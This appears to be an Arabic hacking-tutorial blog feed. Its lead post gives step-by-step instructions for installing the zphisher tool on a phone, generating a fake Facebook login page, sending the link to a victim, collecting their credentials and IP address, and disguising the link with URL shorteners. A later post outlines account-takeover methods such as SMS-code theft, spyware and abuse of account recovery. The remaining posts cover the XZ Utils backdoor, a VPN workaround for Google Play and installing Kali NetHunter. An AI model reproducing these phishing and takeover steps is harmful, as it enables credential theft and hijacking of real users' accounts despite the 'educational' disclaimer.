القرصان الإلكتروني للتعليم

صنع صفحة مزورة من الهاتف بسهولة !

noreply@blogger.com (Ammar Ahmad) — Fri, 26 Apr 2024 09:58:00 +0000

سوف نتعرف اليوم على كيفية إنشاء الصفحات المزورة Fake Page وكيف يتم اختراق حسابات المستخدمين على وسائل التواصل الاجتماعي من خلالها مثل فيسبوك و تيك توك و انستقرام و غيرهم و ذلك من خلال الهاتف فقط باستخدام تطبيق ترمكس و أداة تسمى zphisher .

هام جداً : هذا الشرح يهدف لأغراض تعليمية و توعوية ولا نسمح باستخدام أي من المعلومات المقدمة بهدف القيام بأنشطة غير قانونية أو غير أخلاقية

ما هي الصفحات المزورة

تمثل صفحات الويب المزيفة واحدة من أهم التهديدات التي تتم مواجهتها عبر الإنترنت. حيث إنها عبارة عن صفحات ويب تم تصميمها بدقة عالية لتقليد مواقع الويب الشرعية، ومع ذلك فإن غرضها الفعلي هو المساس بالأمن الرقمي أو خداع المستخدمين للكشف عن معلومات شخصية أو مالية.

حيث يقوم مجرمو الإنترنت بنشر هذه الصفحات المزورة في أنشطة احتيالية مثل الاستيلاء على حسابات المستخدمين، ويرسلون روابط لصفحات تسجيل دخول خادعة عبر رسائل البريد الإلكتروني أو الرسائل النصية، مما يؤدي إلى تسرب بيانات تسجيل الدخول الشخصية. علاوة على ذلك، يتم استخدام هذه الصفحات المزيفة في هجمات التصيد الاحتيالي حيث يتم إغراء الأفراد بإدخال معلومات حساسة مثل أسماء المستخدمين وكلمات المرور وتفاصيل بطاقة الائتمان.

كيفية صنع صفحة مزورة

هناك العديد من الطرق والتقنيات التي تمكنك من صنع صفحة مزورة لاي موقع كان ، حيث أن هناك بعض التقنيات تستطيع أن توفر لك العديد من الأدوات التي تمكنك من إنشاء صفحة مزيفة باستخدام السحب و الإفلات دون الحاجة الى تعلم البرمجة ، و أخرى تزودك بأدوات وبرامج تحتوي على صفحات مزيفة جاهزة للاستخدام مثل أداة ZPhisher ، و لكن يبقى الشيء الأخطر هو أن يتم صنع صفحة مزورة باستخدام لغات البرمجة و حجز عنوان مخصصة (دومين) شبيه بموقع الصفحة الأصلية على الويب لخداع المستخدمين.

صنع صفحة مزورة من الهاتف

لكي يتم صنع صفحة مزورة من الهاتف سوف تحتاج إلى تطبيق ترمكس لأنه هو التطبيق الرئيسي الذي سوف يساعدنا على تشغيل الأدوات البرمجية الخاصة بالهاكر الاخلاقي حيث سنستخدم اليوم إحدى الأدوات البرمجية الجاهزة والتي تحتوي على أكثر من 30 صفحة مزورة وهي أداة ZPhisher ، حيث سنقوم بفتح تطبيق ترمكس وتجهيزه بكتابة أوامر التحديثات و الترقيات له ثم سنحتاج للقيام بعملية التثبيت لمستودع (Repository) يسمى "tur-repo" و مستودعات Termux هي مجموعات من الحزم (Packages) والأدوات البرمجية التي يمكن تثبيتها واستخدامها في بيئة ترمكس ، حيث أن الأداة التي نشرحها اليوم تعتمد على هذا المستودع و لتثبيت المستودع نكتب الأمر التالي :

pkg install tur-repo

وبعد الانتهاء من التثبيت ننتقل مباشرةً إلى كتابة أمر تثبيت أداة إنشاء الصفحات المزيفة وذلك من خلال كتابة الأمر التالي

pkg install zphisher

ثم نكتب حرف Y لأي رسائل تظهر وننتظر بعض الوقت إلى أن ينتهي من تحميل الأداة .

بعد اكتمال التنزيل سوف نقوم بكتابة اسمها مباشرة في تطبيق ترمكس ليقوم بعملية تثبيت المكتبات و الحزم الخاصة بها بالإضافة إلى تثبيت أداة ngrok تلقائياً ، وإذا كنت لا تعرف أداة Ngrok يمكنك الرجوع إليها الشرح السابق للتعرف عليها وعلى استخداماتها .

شرح اداة zphisher

بعد اكتمال عملية التحميل و التثبيت لأداة الصفحات المزورة ، سوف تظهر لنا هذه الواجهة

والتي من خلالها يمكنك اختيار الصفحة المزورة التي ترغب في أن يتم إنشائها وصنعها وذلك من خلال كتابة رقمها، مثلاً سوف أقوم باختيار إنشاء صفحة مزورة لموقع فيسبوك و أقوم باختيار الرقم واحد ، وسوف يطلب مني اختيار نمط الصفحة المراد إنشائها ولدينا 4 خيارات :

الأول سوف يقوم بإنشاء الصفحة المزيفة التقليدية لتسجيل الدخول إلى حساب فيسبوك.
الثاني صفحة مزورة حول الاستطلاعات والتصويت وتسجيل الدخول الى فيسبوك.
الثالث صفحة تسجيل دخول أمنية مزيفة إلى فيسبوك.
الرابع هو صفحة تسجيل الدخول إلى ماسنجر .

سوف أقوم باختيار إنشاء الصفحة الأولى وذلك بالنقر على رقم واحد وسيطلب مني الآن اختيار طريقة الاتصال ، يمكنك اختيار الرقم 2 أو 3 لإرسال الرابط إلى شخص يتصل خارج شبكتك وسوف يعمل معه دون أي مشاكل علماً أنه إذا قمت باختيار الرقم 2 لأداة أنجروك يجب عليك أن تقوم بعملية الاعداد الخاصة بها قبل ذلك ، سوف أختار الرقم 3 ثم سوف يطلب مني إذا كنت أرغب في تخصيص منفذ معين ، سوف أكتب حرف N وأتركه على الوضع الافتراضي ثم ننتظر قليلاً وسوف نحصل على رابطين يمكننا استخدام وحداً منهم وارساله الى الضحية لاختباره .

سوف أخذ الرابط الأول ونفترض بأنه وصلني من أحد الأشخاص و أقوم بفتحه في المتصفح حينها سوف يعرض لي صفحة تسجيل الدخول إلى فيسبوك مشابهة تماماً كصفحة فيسبوك الأصلية ولا يمكنك التفرقة بينهما إلا إذا قمت بالتدقيق في عنوان الرابط ، حيث أنك سوف تجده يحمل عنوان غير عنوان facebook.com ، وهذا يدل على أن الصفحة مزيفة و إذا أكملنا وقمنا بإدخال المعلومات الخاصة بتسجيل الدخول إلى فيسبوك مثل البريد الالكتروني او رقم الهاتف وكلمة المرور ثم نقرنا على تسجيل الدخول ، سوف يتم إعادة توجيهي إلى صفحة فيسبوك الأصلية الخاصة باسترداد الحساب لإيهام الضحية بأنه حقاً في الصفحة الأصلية و ليست المزورة، ولكن إذا عدنا للأداة سوف نجد بأن معلومات تسجيل الدخول مثل البريد الإلكتروني و كلمة السر قد أصبحت لدينا بالإضافة الى عنوان الـ IP الذي تم تسجيل الدخول منه .

بهذه الطريقة يتم اختراق حسابات المستخدمين ، وغالباً ما يتم استخدام خدمات تقصير الروابط لإخفاء الرابط الخاص بالصفحة المزيفة لإقناع الضحية والهدف من أن يتم استخدام رابط قصير هو لأن أغلب المواقع الإلكتروني و القنوات تستخدم هذه الخدمة بشكل أساسي ليبدوا الرابط الخاص بهم جميلاً ومريحاً كالمثال التالي ، يمكنك أن تقوم بتجربة الأداة مرة أخرى و استخدام الصفحة المزورة لموقع تيك توك مثلاً ثم نأخذ الرابط ونذهب إلى موقع مثل Google URL Shortener ونضع له الرابط ونطلب منه أن يقوم بعملية اقتصاصه وسوف نحصل على رابط قصير مثل هذا https://t.ly/FOF_o وبمجرد أن نقوم بفتحه سوف يعيد تحويلنا الى رابط الصفحة المزوره و بعد ادخال البيانات سوف يتم ارسالها الى الاداة ونحصل عليها .

شرح صنع صفحة مزورة بالفيديو

رابط أداة zphisher مع الوصف الكامل لها تحميل

كان هذا شرحاً بسيطاً من الهاتف حول كيفية إنشاء صفحة مزورة لمواقع التواصل الاجتماعي وكيف يتم تمويهها واختراق حسابات المستخدمين ، إذا أعجبك الشرح شاركه مع غيرك وادعمنا بإعجاب و إلى اللقاء في شرح جديد .

ثغرة XZ Utils تهديد خطير لكالي لينكس

noreply@blogger.com (Ammar Ahmad) — Tue, 02 Apr 2024 12:44:00 +0000

في أواخر مارس 2024، تم اكتشاف ثغرة خلفية خطيرة BackDoor في مكتبة XZ Utils رمز إليها بـ (CVE-2024-3094) ، وهي أداة ضغط شائعة مستخدمة في العديد من توزيعات لينكس، بما في ذلك كالي لينكس ، تسمح هذه الثغرة للمهاجمين الذين يحصلون على امتيازات مرتفعة على النظام بتنفيذ تعليمات برمجية عشوائية، مما قد يؤدي إلى سيطرة كاملة على النظام المصاب.

ما هي النسخ المتأثرة في XZ Utils:

تتأثر إصدارات XZ Utils 5.6.0 و 5.6.1 بهذه الثغرة الخطيرة.

تأثيرات ثغرة XZ Utils:

تُعتبر ثغرة XZ Utils خطيرة للغاية لعدة أسباب:

الانتشار الواسع: تُستخدم مكتبة XZ Utils على نطاق واسع في العديد من توزيعات لينكس، بما في ذلك كالي لينكس، مما يعني أن عددًا كبيرًا من الأنظمة المستخدمة عرضة للخطر.
السيناريوهات الخطيرة: يمكن للمهاجمين الذين يستغلون هذه الثغرة الحصول على سيطرة كاملة على النظام المصاب، مما قد يؤدي إلى سرقة البيانات والهجمات الضارة الأخرى.
صعوبة الاكتشاف: قد يكون من الصعب اكتشاف الثغرة بسبب صعوبة تعقيدها، مما يمنح المهاجمين المزيد من الوقت للعمل دون أن يتم ملاحظتهم.

طريقة الاصلاح لثغرة XZ Utils:

تم إصدار إصلاحات لمعالجة ثغرة XZ Utils ويُنصح بتحديث XZ Utils إلى أحدث إصدار في أقرب وقت ممكن، يمكنك العثور على إرشادات ومعلومات أكثر على موقع Kali Linux ، أو بدلاً من ذلك يمكنك الرجوع إلى الإصدارات التي قبل 5.6.1 و 5.6.0 إلى أن يتم الاستقرار على إصدار مضمون ثابت.

التخفيف من حدة المخاطر:

بالإضافة إلى تحديث XZ Utils، هناك بعض الخطوات الإضافية التي يمكنك اتخاذها للتخفيف من مخاطر هذه الثغرة:

تثبيت التحديثات الأمنية بانتظام: تأكد من تثبيت جميع تحديثات الأمان لنظام التشغيل وبرامجك.
استخدام برامج مكافحة الفيروسات وبرامج مكافحة البرامج الضارة: يمكن لهذه البرامج مساعدتك في اكتشاف ومنع البرامج الضارة.
كن على دراية بعلامات الاختراق: انتبه لأي نشاط مشبوه على نظامك، مثل تغييرات في كلمات المرور أو سلوك النظام غير المعتاد.

ختاماً ثغرة XZ Utils (CVE-2024-3094) تهديد خطير لكالي لينكس وغيرها من توزيعات لينكس و من المهم تحديث XZ Utils إلى أحدث إصدار في أقرب وقت ممكن واتخاذ خطوات للتخفيف من مخاطر هذه الثغرة.

أقوى طرق وثغرات اختراق حساب فيسبوك ونصائح للحماية 2024

noreply@blogger.com (Ammar Ahmad) — Sun, 31 Mar 2024 15:07:00 +0000

مرحباً وأهلاً وسهلاً بكم متابعينا على القرصان الإلكتروني للتعليم ، سوف أقدم لكم اليوم الطرق و الأساليب التي يستخدمها الهكرز لاختراق حسابات المستخدمين على مواقع التواصل الاجتماعي وتحديداً على موقع فيسبوك وذلك بدون أي جهد كبير ، لكن يرجى الأخذ بعين الاعتبار بأن الهدف من هذا الشرح هو التوعية الأمنية الإلكترونية و فهم كيف يتم خداع العديد من المستخدمين لوسائل التواصل الاجتماعي واختراق حساباتهم ، لذلك هذا الشرح لا يهدف ولا يشجع على تنفيذ ما يذكر من خطوات أو أدوات ، و لسنا مسؤولين عن أي سوء استخدام .

أداة اختراق حساب فيسبوك

في بداية الأمر دعني أوضح لك نقطة مهمة، وهي بأنه يجب عليك أن لا تصدق بأن جميع ما يوضع من أدوات على الانترنت و تطبيقات تدّعي بأنها تقوم باختراق حساب شخص محدد على فيسبوك وغيره من المنصات هي تطبيقات فعّالة وسوف تنفّذ ما يخطر في بالك، بل العكس تماماً فإن أغلب هذه الأدوات تكون إما فيروسات أو برامج اختراق لجهازك ولسرقة حساباتك الشخصية، لذلك أنصحك دائماً بأن لا تستخدم أي أداة تدّعي اختراق حساب فيس بوك إلا بعد أن تقوم بالاطلاع على الكود البرمجي الخاص بها وفهم ما يقوم به ولأجل ماذا تم إنشاء الأداة بالتحديد .

ثانياً ، يجب عليك أن تفهم أمراً آخر ، وهو أنه لو كان هناك ثغرات حقيقة لاختراق حسابات فيسبوك لسارع المستخدمين لها في إبلاغ شركة فيسبوك عن هذه الثغرة أو الأداة التي تدّعي ذلك و الحصول على مكافئة مالية بالمقابل، لأن فيسبوك قد قام بوضع نظام ليس بالجديد و يهدف هذا النظام إلى مساعدة الهاكرز المستقلين في الحصول على المكافئات المالية مقابل أن يقوموا بالبحث عن ثغرات في فيسبوك و الإبلاغ عنها ، فمثلاً لو كان هناك هكر قد وجد ثغرة في موقع فيسبوك وقام باختراق العديد من حسابات المستخدمين ، سوف يذهب مباشرةً إلى صفحة فيسبوك المخصصة للإبلاغ عن الثغرات والتي تسمى (Bug Bounty Program) و إبلاغهم عن الثغرة التي وجدها ثم الحصول على مكافئة مالية كبيرة مقابل ذلك وليس هذا فحسب بل سوف يحصل على الكثير من الأشياء مثل وضع اسمه في الموقع على أنه مكتشف ثغرة في فيسبوك وجعله كباحث والى غيره ، فيجب أن تعلم جيداً يا صديقي بأنه لو كان هناك ثغرة بالفعل فلن نحصل عليها لا أنا ولا أنت لأنه سوف تتسرب الى فيسبوك ويتم اغلاقها مباشرة .

اختراق حسابات فيسبوك عن طريق الهندسة الاجتماعية

أما الطرق الوحيدة التي مازلت فعّالة حتى الآن في اختراق حسابات فيسبوك فهي عن طريق الهندسة الاجتماعية، حيث أن هذه الطريقة تعد جزء كبير جداً من الاختراق و القرصنة، وسوف أذكر أشهر الطرق بالترتيب التي يتم استخدامها حتى يومنا هذا، حيث لدينا:

التصيد الاحتيال أو الصفحات المزورة Phishing

وتعد هذه الطريقة من أسهل الطرق المناسبة للمبتدأين و المحترفين من الهاكرز لاختراق حسابات فيسبوك، حيث يتم الأمر في غالب الأحيان عن طريق الصفحات المزورة و ارسال رابط الى الشخص المستهدف يحتوي على موقع يشبه موقع فيسبوك ويقوم بإقناعه للنقر عليه بغض النظر عن كيفية ارسال الرابط فقد يأتي لك الرابط عبر البريد الإلكتروني أو عبر رقمك على واتساب أو حسابك على فيسبوك بذاته ويحتوي على رسالة مخادعة كهذه مثلاً: مرحباً لقد لاحظنا بعض النشاطات المشبوهة في حسابك. يرجى النقر على الرابط أدناه لتأكيد هويتك وتأمين حسابك، وعندما يفعل ذلك المستخدم سوف يحوله الرابط الى الموقع المزيف ويطلب منه تأكيد ادخال بيانات حساب فيسبوك، وبعد أن يفعل يتم إعادته الى فيسبوك تلقائياً ليكمل في تصفحه، وبهذا يظن المستهدف بأنه قد تم تأمين حسابه، بينما في الحقيقة تم إرسال هذه البيانات التي أدخلها الى الهكر الذي قام بإنشاء الصفحة المزورة أو موقع الويب المزور هذا، وكذلك الحال مع باقي حسابات وسائل التواصل الاجتماعي .

اختراق جهاز المستخدم الهدف وسرقة الفيس بوك

و تعتمد هذه الطريقة على اختراق الجهاز وذلك من خلال ارسال تطبيق أو أداة ضارة الى المستهدف ، وعندما يقوم بتثبيت وتشغيل هذا التطبيق يتم اختراق جهازه ، فهنا كل ما يقوم به الهكر هو فقط القيام باسترداد حساب فيسبوك للهدف وعندها سوف يطلب فيسبوك ارسال رمز تحقق برسالة نصية الى رقم الهاتف او البريد الالكتروني ، وحينها سوف يقوم الهاكر بعمل أمر استخراج الرسائل الواردة في sms من هاتف الضحية ويحصل على رمز التحقق ثم يقوم بإضافته في فيسبوك ويستولي على الحساب ، و الطرق كثيرة في ذلك ، منها ما يكون قادراً على سرقة ملفات تعريف الارتباط أو سرقة كلمات المرور المخزنة في المتصفح مثل غوغل كروم وما الى ذلك .

تثبيت برامج تجسس والتجسس على حساب فيسبوك Spyware Usage:

بمجرد ترك الجهاز في مكان ما أو إعطائه لشخص لا تثق به ، قد يتم تثبيت برامج التجسس على الهاتف بدون علمك، ويمكن أن تستخدم هذه البرامج لسرقة معلومات تسجيل الدخول والبيانات الشخصية الأخرى التي تستخدمها للوصول إلى حسابك على Facebook ، مثل برامج المراقبة الأبوية حيث هناك بعض الأشخاص يقوم باستخدامها في التجسس على حساب فيس بوك.

ثغرات اختراق حساب فيسبوك 2024

لقد ذكرنا لكم في الأعلى أهم الطرق المستخدمة في اختراق حسابات فيسبوك عن طريق الهندسة الاجتماعية، أم الآن سوف نستعرض لكم أهم الثغرات والطرق التي يتم استخدامها لاختراق حسابات فيسبوك بأشكال مختلفة والتي قد تكون معروفة للبعض منكم، وهي كالتالي:

استرداد الحساب عن طريق الإيميل

حيث تستهدف هذه الطريقة فئة معينة من المستخدمين و الذين هم يستخدمون الايميلات الوهمية ، وهنا كل ما يحتاجه المخترق لاختراق حساب الفيسبوك هو القيام باسترداد الحساب على فيسبوك ، ثم يقوم بإنشاء ايميل وهمي مشابه للإيميل الموجود في حساب فيسبوك و يحصل على الكود أو رمز التحقق ثم يقوم بإعادة تعيين كلمة المرور ، و إذا كنت تتسائل كيف يقوم بعملية الاسترداد فالأمر بسيط جداً ، فكل ما يحتاجه الهاكر هو فقط الـ ID الخاص بصفحة فيسبوك الضحية و الذي يأتي غالباً على شكل أرقام أو أسماء مثل هذا " https://www.facebook.com/profile.php?id=100020439247571" والذي يمكن الحصول عليه من خلال التوجه إلى صفحة الضحية على فيسبوك و نسخ الرابط الخاص به واستخراج الآي دي منه ، وليس هذا فحسب ، بل يمكنه القيام بعملية الاسترداد من خلال البحث عن اسم الشخص نفسه الذي استخدمه في حسابه على فيسبوك.

استرداد الحساب عن طريق رقم الهاتف

حيث تعد هذه الطريقة كسابقتها فهي تستهدف حسابات فيسبوك بشكل عشوائي ، و تعتمد هذه الطريقة على القيام بالبحث عن حساب فيسبوك للقيام باسترداده لكن بدلاً من وضع الايميل يستعين الهاكر بإحدى الخدمات التي تقدم أرقام هاتف وهمية ، ثم يقوم باختيار الدولة و رقم الهاتف بغية تفعيله في حساب فيسبوك ، وعندما يحصل على الرقم يقوم بوضعه في خانة استرداد الحساب وحينها سوف يجد بعض الحسابات المرتبطة بهذا الرقم ، فيطلب إرسال رمز التحقق الى رقم الهاتف الذي أدخله وهنا سيأتي الكود الى رقم الهاتف الذي حصل عليه من موقع الأرقام الوهمية و يقوم بإضافته و إعادة تعيين كلمة المرور والاستيلاء على الحساب .

كانت هذه أكثر الطرق الشائعة و السهلة الاستخدام من قبل جميع الهاكرز الى وقتنا هذا، وتبقى طرق اختراق حسابات فيسبوك عبر الثغرات البرمجية هي الطرق الأكثر فتكاً بكل تأكيد، لذلك إليك أهم النصائح التي تساعدك بشكل كبير على حماية حسابك على فيسبوك.

أهم النصائح لحماية حسابك على فيسبوك

انشاء كلمة مرور معقدة وطويلة .
تفعيل المصادقة الثنائية على جهازك .
تفعيل رموز الأمان على حسابك .
حفظ كلمات المرور في مكان آمن .
تجنب النقر على الروابط المشبوهة .
تجنب تثبيت أي تطبيقات أو برامج مجهولة المصدر .
تجنب استخدام أي أدوات تدعي اختراق حسابات فيسبوك .
اذا حصلت على رابط او تطبيق أو أي ملف تشك في أمره استخدم هذا الموقع الذي يسمى " فايروس توتال " وقم برفع الملف او الرابط او الموقع فيه وسوف يقوم بفحصه و التحقق من أمانه و عرض النتائج لك.
احرص على تثبيت التحديثات بانتظام.

ختاماً إذا وصلت إلى هنا أشكرك كثيراً على القراءة الكاملة وأتمنى أن تكون قد استفدت من هذا الشرح، وإذا أعجبك هذا الأمر اكتب لي في التعليقات حتى نشرح عنه أكثر، أطيب التحيات و إلى اللقاء.

حل مشكلة متجر جوجل بلاي و السبب وراء ذلك

noreply@blogger.com (Ammar Ahmad) — Thu, 11 Jan 2024 22:44:00 +0000

تعتبر خدمات الإنترنت والتطبيقات الرقمية أحد أهم عناصر التواصل وتبادل المعلومات في العصر الحديث، ومن بين هذه الخدمات يأتي متجر غوغل بلاي كواحد من أكبر وأشهر متاجر التطبيقات على مستوى العالم الذي يحتوي على الكثير من التطبيقات و الألعاب المجانية و المدفوعة ، وليس هذا فحسب بل و يحتوي على كتب و أفلام ومع ذلك، يواجه العديد من المستخدمين للإنترنت في جميع أنحاء العالم وتحديداً في سوريا مشكلة كبيرة بسبب عدم اشتغال متجر غوغل بلاي، لذا سنحاول في هذا المقال عرض أبرز الأسباب التي قد تكون وراء هذه المشكلة مع حل مشكلة متجر جوجل بلاي وفتحه بخطوات بسيطة.

سبب توقف متجر جوجل عن العمل في سوريا

القيود الحكومية

أحد الأسباب الرئيسية وراء عدم اشتغال متجر غوغل بلاي في سوريا قد يكون مرتبطًا بالقيود الحكومية، قد تكون هناك سياسات صارمة تفرضها الحكومة السورية على الإنترنت والخدمات الرقمية، وقد تشمل رفض الوصول إلى بعض المواقع والتطبيقات التي تعتبرها الحكومة غير ملائمة أو غير متناسبة مع السياسات المحلية، لذا قد تجد أكثر المستخدمين الذين يواجهون مشكلة متجر غوغل بلاي هم داخل سوريا.

الحظر والعقوبات الدولية

يمكن أن تكون هناك عوامل دولية تسهم في عدم اشتغال متجر غوغل بلاي في سوريا، وقد تفرض العقوبات الدولية على البلاد قيودًا على الخدمات التقنية والتبادل التجاري، مما يؤدي إلى تقييد الوصول إلى بعض المنصات الرقمية الكبيرة كمنعك من استخدام خدمات غوغل بشكل عام.

حل مشكلة متجر جوجل بلاي

إذا كان متجر بلاي لا يعمل أو عند فتحه يظهر رسالة حدث خطا في متجر جوجل بلاي فاحل بسيط جداً ، كل ما عليك فعله هو إغلاق جميع التطبيقات من المهام في الهاتف ثم بعد ذلك القيام بتشغيل أي برنامج vpn يتوفر لديك ، وبعد أن يتم الاتصال بشبكة الفي بي ان ، قم بفتح متجر google play وسوف تلاحظ بأنه قد أصبح يعمل ويقوم بتنزيل و تثبيت التطبيقات و الألعاب بدون مشاكل ، لكن تذكر بانك سوف تحتاج الى إجراء هذه العملية في كل مرة تريد أن تقوم بتحميل تطبيق ما من المتجر.

تحميل برنامج الفي بي ان

تشغيل كالي لينكس على الهاتف وحل مشكلة rootfs in kalilunx

noreply@blogger.com (Ammar Ahmad) — Fri, 05 Jan 2024 14:17:00 +0000

أهلاً وسهلاً بكم على قناة القرصان الإلكتروني للتعليم في شرح ، سوف يكون الشرح اليوم عن كيفية تثبيت كالي نت هانتر على الهاتف أو كالي لينكس على الهاتف وحل رسالة الخطأ rootfs التي ظهرت لدى البعض عندما كانوا يحاولون تثبيت Kali NetHunter من الدرس السابق ، أيضاً هذا الشرحُ مناسبٌ جداً للأشخاصِ الذين لا يمتلكون سرعة انترنت عالية و لديهم مشاكل في الانترنت ، حيث سوف نقوم بتثبيت نظام Kali Linux على هاتف الاندرويد بشكل يدوي خطوةً بخطوة .

ما هو Kali NetHunter

نظام كالي نت هانتر KaliNetHunter هو عبارة عن نظام كالي لينكس يعمل على تطبيق ترمكس ، حيث أنه عبارة عن بيئة محاكي طرفية لأجهزة الأندرويد على تطبيق ترمكس ، حيث يمكنك من خلاله الحصول على تيرمنال خاصة بـ Kali Linux لكن عبر تطبيق ترمكس دون الحاجة إلى روت في الهاتف Root أو حتى استبدال النظام الأساسي أو الروم Rom ، نظام كالي هانتر هو مجاني تماماً ويتوفر منها اصدارين ، واحد منهم لتشغيلها عبر ترمكس كـ Terminal ، و الثانية عبارة عن نظام معدل أو روم معدل يتم استبدالها بنظام الهاتف الأساسي ، وتعد الطريقة الثانية أكثر فعالية و احترافية حيث تمكنك من استخدام جميع الأدوات بتوافقية أكبر لأنك سوف تحول هاتفك الى نظام كالي لينكس بالكامل لكن تعد هذه الطريقة معقدة بعض الشيء و لا تتناسب سوى مع بعض الأجهزة.

اوامر تحميل Kali Linux على الاندرويد بدون روت

لتثبيت Kali Linux على الاندرويد بدون روت اتبع الخطوات التالي :

أول خطوة نحتاجها هي الحصول على أي تطبيق لتحميل الملفات مثل تطبيق 1DM ، و سوف نقوم بتحميل ملف الكالي نت هانتر من خلاله حيث يبلغ حجمه 1.8 غيغابايت ، وذلك من خلال وضع رابط التحميل لكالي في التطبيق و ننتظر إلى أن ينتهي من التحميل ، حيث بهذه الطريقة إن انقطع الانترنت لديك فلا يوجد اي مشكلة يمكنك إعادة استئناف التحميل عندما يعود الانترنت
والانتظار الى أن ينتهي من التحميل ، بينما في الشرح السابق كان أن يكون لديك انترنت مستقر و بسرعة عالية ، لأنه أي قطع في الاتصال سوف يعيد التحميل من البداية وهذه مشكلة كبيرة . ملاحظة : يجب أولاً معرفة نوع نواة الجهاز ، إذا كانت ARM64 قم بتنزيل الرابط الأول و إذا كانت ARM86 قم بتنزيل الرابط الثاني وإذا كانت غير ذلك قم تنزيل الرابط الثالث.
```
https://kali.download/nethunter-images/kali-2023.4/rootfs/kalifs-amd64-full.tar.xz
 https://kali.download/nethunter-images/kali-2023.4/rootfs/kalifs-i386-full.tar.xz
 https://kali.download/nethunter-images/kali-2023.4/rootfs/kalifs-armhf-full.tar.xz
```
بعد أن نقوم بتحميل ملف كالي لينكس سوف نقوم بفتح تطبيق ترمكس ، ونقوم بتثبيت أداة wget إذا لم تكن قد ثبتها مسبقاً ، وبعد ذلك سوف نقوم بكتابة الأمر الذي سوف يساعدنا على تنزيل الأداة الرسمية من كالي لينكس التي سوف تساعدنا في عملية استخراج ملفات كالي من الملف الذي قمنا بتحميله سابقاً و القيام بتثبيته ، علماً أن هذه
الاداة ذات حجم صغير جداً لذا لا تقلق .
```
pkg install wget
wget -o install-nethunter-termux https://offs.ec/2MceZWr
```
بعد أن قمنا بتنزيلها في ترمكس سوف نقوم باستعراض الملفات عبر الأمر ls كما تعلمنا سابقاً لنتأكد من أن الأداة تم تنزيلها بالفعل ، وهنا ملاحظة مهمة جداً وهي إذا لم يتم تنزيل
الأداة لديك بشكل سليم قم بتشغيل أي vpn لديك و أعد المحاولة .
```
ls
```
الآن نحن بحاجة الى إعطاء صلاحيات لتطبيق ترمكس من أجل الدخول الى ذاكرة التخزين للهاتف ، ولفعل هذا الأمر سوف نكتب له الأمر التالي وننتظر قليلاً وسوف تنبثق لنا هذه الرسالة التي
تطلب منا السماح له بالإذن ، نقوم بالنقر على سماح .
```
termux-setup-storage
```
الآن كل شيء على ما يرام ، سوف نقوم بالدخول الى ذاكرة التخزين عبر الامر التالي ، ثم نستعرض الملفات ، ثم نتوجه الى المسار الذي قمنا بتحميل الملف الكبير لكالي نت هانتر لكي نقوم
بنسخه الى ذاكرة ترمكس .
```
ls
cd storage/
ls
cd downloads
ls
```
نقوم بنسخه الآن و بعد اتمام عملية النسخة نعود الى ذاكرة ترمكس و نستعرض الملفات مرة أخرى لنتأكد من الملف بأنه قد تم نسخه بالفعل ، ثم نقوم الآن بتغير صلاحيات الملفات
حيث سوف يتحول لونها من اللون الأبيض الى اللون الأخضر لنتمكن من تثبيت النظام بشكل سليم .
```
cp kalifs-arm64-full.tar.xz /$HOME
cd /$HOME
ls
chmod +x *
```

اوامر تثبيت Kali Linux على الاندرويد بدون روت

الآن نحن في طريقنا للقيام بتثبيت كالي لينكس على الهاتف ، لم يتبقى لدينا سوى أن نقوم بتشغيل الأداة الصغيرة التي قمنا بتحميلها من الموقع الرسمي من داخل تطبيق termux ، ولتثبيت كالي سوف نتبع الخطوات التالية :

نقوم بتشغيل الاداة بالأمر نقطة باك سلاش ونكتب اسم الأداة .
```
ls
./2MceZWr
```
سوف تفتح معك هذه الواجهة ، سوف نقوم باختيار الرقم واحد مما يعني بأننا نريد تثبيت كالي نت هانتر النسخة الكاملة ، و سوف ننتظر قليلاً .
```
1
```
بعدها ستظهر لنا هذه الرسالة باللون المميز ، وهنا يجب الانتباه جيداً ، حيث تقول لك هذه الرسالة لقد عثرنا على ملف كالي ذو الحجم الكبير موجوداً بالفعل في ترمكس ، هل
تريد منا أن نقوم بحذفه و القيام بتنزيله من جديد ، وهنا بالتأكيد يجب النقر على حرف n ثم انتر حتى لا يقوم بحذف الملف و يكمل في تثبيته محلياً دون إعادة تحميله.
```
N
```
ثم سوف تنتظر مرة أخرى لكي يقوم باستخراج ملفات rootfs وسوف يستغرق الامر وقت من هاتف الى آخر ، حيث استغرق مني وقتاً يصل الى 17 دقيقة ،وبعد الانتهاء ستظهر لك رسالة باللون المميز مرة أخرى تريد أن تقوم بحذف ملفات rootfs وإعادة تنزيلها من الانترنت
قم بالنقر على حرف n وانتر لكي يقوم بمتابعة وانهاء التثبيت.
```
N
```
بعد أن ينتهي من عملية التثبيت سينقلك الى هذه الواجهة ، وإذا وصلت الى هنا فهذا يعني بأن التثبيت قد تم بنجاح دون أي مشاكل وهذه الواجهة توضح لك الاوامر التي يمكنك استخدامها في تشغيل كالي نت هانتر من خلال ترمكس او حتى ضبط الواجهة الرسومية وتشغيلها كما لو كان على الحاسوب .

تشغيل كالي لينكس على الهاتف

لتشغيل كالي على الهاتف يمكنك كتابة nh في تطبيق ترمكس وسوف تتحول الى نظام كالي لينكس ويمكنك التحكم في جميع أداوته ، لكن أعلم بأنك قد ترغب في تشغيله بواجهة رسومية فلا تقلق ، كل ما عليك فعله هوالخروج من وضع كالي نت هانتر و العودة الى وضع ترمكس ، ثم كتابة الامر التالي لتعيين كلمة المرور ، ثم اكتب كلمة مرور جديدة و أعد كتابتها و تجاهل هذه الرسالة ، و لحظات وسوف يتم تشغيل سيرفر الكالي لينكس المحلي vnc servers ويتيح لك رقم المنفذ أو Port.

nh kex

كل ما عليك فعله بعد ذلك هو التوجه الى تطبيق كالي نت هانتر كيكس و فتحه ثم كتابة كلمة المرور و اعطاء اي اسم ترغب فيه للعرض و كتابة رقم المنفذ ثم النقر على زر connect ، وانتظر قليلاً وها نحن ذا أصبح لدينا كالي لينكس على الهاتف يعمل بدون أي مشاكل و يمكنك استخدام جميع الأداوت بما في ذلك ميتاسبلويت .

رابط تحميل كالي لينكس للاندرويد

إذا لم يكن الشرح الكتابي في الأعلى واضحاً بالنسبة لك شاهد هذا الفيديو الذي قمنا بإعداده من أجلك حتى تفهم بشكل أكبر كيفية تثبيت كالي نت هانتر على ترمكس وحل مشكلة ملفات rootfs .

تحميل أوامر التنزيل و التثبيت

إلى هنا ينتهي موضوعنا اليوم ، أتمنى أن أكون قد وفقت في شرحي و أن يكون هناك من استفاد منه ، و أرجوا منكم استخدام هذه الادوات فقط من أجل التعلم و اختبار الاختراق وإذا كنت مهتماً تصفح موقعنا الإلكتروني للمزيد من الشروحات دمتم في أمان الله و نلتقي في شرح جديد .

